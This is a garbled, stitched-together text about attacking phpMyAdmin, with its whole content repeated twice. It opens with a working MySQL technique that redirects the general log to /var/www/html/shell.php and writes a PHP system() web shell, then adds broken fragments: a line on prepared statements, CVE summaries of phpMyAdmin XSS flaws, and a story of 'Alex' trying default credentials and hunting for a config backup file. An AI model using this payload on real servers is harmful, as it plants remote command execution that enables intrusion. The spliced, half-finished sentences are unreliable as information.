SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['cmd']); ?>" -- Now every query is logged to shell.php. Trigger it.
To prevent SQL injection attacks, it's essential to use prepared statements and parameterized queries.
A typical phpMyAdmin exploitation workflow looks like this:
extension to be loaded and a specific vulnerable character set used during export. Mitigation: Upgrade to phpMyAdmin 5.2.2 CVE-2025-24530 (XSS in "Check tables"): Authenticated users can trigger an XSS attack by using a specially-crafted table or database name CVE-2025-24529 (XSS in "Insert"):
. Many admins leave this tool exposed to the public internet , which often serves as a primary entry point for attackers Alex tried common credentials like admin:password , but the system was locked. He then checked for the config.inc.php.bak
SET GLOBAL general_log = 'ON'; SET GLOBAL general_log_file = '/var/www/html/shell.php'; SELECT "<?php system($_GET['cmd']); ?>" -- Now every query is logged to shell.php. Trigger it.
To prevent SQL injection attacks, it's essential to use prepared statements and parameterized queries.
A typical phpMyAdmin exploitation workflow looks like this:
extension to be loaded and a specific vulnerable character set used during export. Mitigation: Upgrade to phpMyAdmin 5.2.2 CVE-2025-24530 (XSS in "Check tables"): Authenticated users can trigger an XSS attack by using a specially-crafted table or database name CVE-2025-24529 (XSS in "Insert"):
. Many admins leave this tool exposed to the public internet , which often serves as a primary entry point for attackers Alex tried common credentials like admin:password , but the system was locked. He then checked for the config.inc.php.bak